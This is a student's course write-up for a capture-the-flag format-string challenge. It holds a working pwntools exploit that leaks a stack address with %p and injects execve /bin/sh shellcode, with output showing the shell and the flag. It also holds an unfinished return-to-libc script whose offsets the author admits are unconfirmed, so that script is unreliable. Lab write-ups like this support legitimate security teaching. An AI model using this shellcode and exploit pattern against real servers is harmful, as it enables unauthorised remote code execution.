Assignment 3 – Format String

Hritesh Sonawane

Reference(s):
- https://owasp.org/www-community/attacks/Format_string_attack
- https://cwe.mitre.org/data/definitions/134.html
- https://ctf101.org/binary-exploitation/what-is-a-format-string-vulnerability
- https://stackoverflow.com/questions/7459630/how-can-a-format-string-vulnerability-be-exploited

After establishing a connection to the server, I sent the format string "%p" to leak an address from the stack. This address was captured in the server's response and decoded from hexadecimal format, revealing a memory location within the application's stack.

To ensure the shellcode could execute correctly, I adjusted the leaked address by adding an offset of "0x26C0" to point to the specific buffer location where my shellcode would be placed. The shellcode was crafted to invoke a shell using the "execve" system call, specifically moving the address of the string /bin//sh (represented as "0x68732f2f6e69622f") into the rdi register. This address was pushed onto the stack to set up the command for execution.

Finally, I constructed the payload by combining the shellcode, NOP padding for alignment, and the adjusted buffer address. Upon sending this payload, I successfully gained an interactive shell to rpint the flag.

Used the GCP web shell as I have a Mac and binary analysis was not possible, even on a VM as we discussed in class too!

```
hriteshsonawane01@instance-20241002-224254:~$ python3 fstring_shell.py
[+] Opening connection to 35.209.254.29 on port 33822: Done
[*] name address: 0x7fffbcea1860
[*] Switching to interactive mode
Here's what the stack looks like after your input:

----------------------------------------------------------------
|   0x7fffbcea1840: 25 70 0a 00 c6 7f 00 00 <-- name           |
|   0x7fffbcea1848: e5 bd 44 31 c6 7f 00 00                    |
|   0x7fffbcea1850: d0 04 af 36 3a 56 00 00                    |
|   0x7fffbcea1858: 80 18 ea bc ff 7f 00 00                    |
|   0x7fffbcea1860: 48 31 f6 56 48 bf 2f 62 <-- info           |
|   0x7fffbcea1868: 69 6e 2f 2f 73 68 57 54                    |
|   0x7fffbcea1870: 5f 6a 3b 58 99 0f 05 90                    |
|   0x7fffbcea1878: 90 90 90 90 90 90 90 90                    |
|   0x7fffbcea1880: 90 90 90 90 90 90 90 90                    |
|   0x7fffbcea1888: 60 18 ea bc ff 7f 00 00 <-- return address |
----------------------------------------------------------------

$ ls
Makefile
challenge
flag.txt
$ cat flag.txt
CY6120{leak_&_execute_typbjwfh}$
```

Exploit code: (took help from GPT and Faaiza as I couldn't get the padding right)

```
fstring_shellcode.py 1 ×
Users > swordfish > Documents > Projects > cy6120 > assignments > a3-buffer-overflows > fstring_shellcode.py > ...
from pwn import * # type: ignore  # noqa: F403

remote_conn = remote('35.209.254.29', 32392)  # type: ignore # noqa: F405
remote_conn.recvuntil(b'What\'s your name?')

# Send the format string '%p' to leak an address from the stack
remote_conn.sendline(b'%p')
remote_conn.recvuntil(b'Hello, ')

addr_buffer = int(remote_conn.recvline().decode().strip(), 16)

# Adjust the leaked address to point to the buffer location
addr_buffer += 0x26C0

# Log the address of the buffer for debugging purposes
log.info(f'name address: {hex(addr_buffer)}')  # type: ignore # noqa: F405
remote_conn.recvuntil(b'> ')

# Shellcode
shell_payload = asm(""" # type: ignore # type: ignore # type: ignore    "asm" is not defined
xor rsi,rsi                      # Set rsi to 0 (null pointer for the environment)
push rsi                         # Push the null pointer onto the stack (argv[1])
mov rdi,0x68732f2f6e69622f       # Move the address of the string '/bin//sh' into rdi
push rdi                         # Push the string onto the stack (argv[0])
push rsp                         # Push the stack pointer onto the stack (argv pointer)
pop rdi                          # Pop the pointer to the string into rdi (first argument for execve)
push 59                          # Push the syscall number for execve (59) onto the stack
pop rax                          # Pop the syscall number into rax
cdq                              # Clear the rdx register (set it to 0 for execve)
syscall                          # Invoke the syscall to execute the command
""", arch='amd64', os='linux')  # noqa: F405

remote_conn.sendline(
    shell_payload +                  # Add the shellcode that will be executed
    b'\x90' * (40 - len(shell_payload)) +  # Pad the payload with NOP instructions to ensure a smooth jump to the shellcode
    p64(addr_buffer)                 # Append the packed address of the buffer where the shellcode resides  # noqa: F405 # type: ignore
)

remote_conn.interactive()
```

For part 2: return to libc:

fstring_return_to_libc.py U ×

assignments > a3-buffer-overflows > fstring_return_to_libc.py > ...

```python
from pwn import * # type: ignore  # noqa: F403

remote_conn = remote('35.209.254.29', 32392)  # type: ignore # noqa: F405

def leak_address():
    remote_conn.recvuntil(b'What\'s your name?')
    remote_conn.sendline(b'%p')
    remote_conn.recvuntil(b'Hello, ')
    leaked_address = int(remote_conn.recvline().decode().strip(), 16)
    return leaked_address

stack_address = leak_address()

libc_base = stack_address - 0x26C0
system_addr = libc_base + 0x52990
bin_sh_addr = libc_base + 0x1B45BD

log.info(f'Stack Address: {hex(stack_address)}')  # type: ignore # noqa: F405
log.info(f'Libc Base Address: {hex(libc_base)}')  # type: ignore # noqa: F405
log.info(f'System Address: {hex(system_addr)}')  # type: ignore # noqa: F405
log.info(f'Address of "/bin/sh": {hex(bin_sh_addr)}')  # type: ignore # noqa: F405

payload = b'A' * 40
payload += p64(system_addr)  # type: ignore # noqa: F405
payload += p64(0x0)  # type: ignore # noqa: F405
payload += p64(bin_sh_addr)  # type: ignore # noqa: F405

remote_conn.sendline(payload)

remote_conn.interactive()
```

I'll continue working on it, but this is what I understood until now:

To perform a "Return to libc" exploit, I started by identifying the offsets for the system function and the string /bin/sh in libc.so.6 using readelf and strings commands. For example, I found system at 0x0000000000052290 and /bin/sh at 0x1b45bd. However, I'm still working on confirming the correct address for /bin/sh.

Next, I plan to leak an address from the process to determine the base address of libc.
---
libc_base = leaked_address - offset_to_known_function
Once I have the libc_base:
system_addr = libc_base + offset_of_system
bin_sh_addr = libc_base + offset_of_bin_sh
The final payload will involve padding to reach the return address and appending the addresses of system and /bin/sh???:
payload = [padding] + [system_addr] + [bin_sh_addr]
--- Thank you!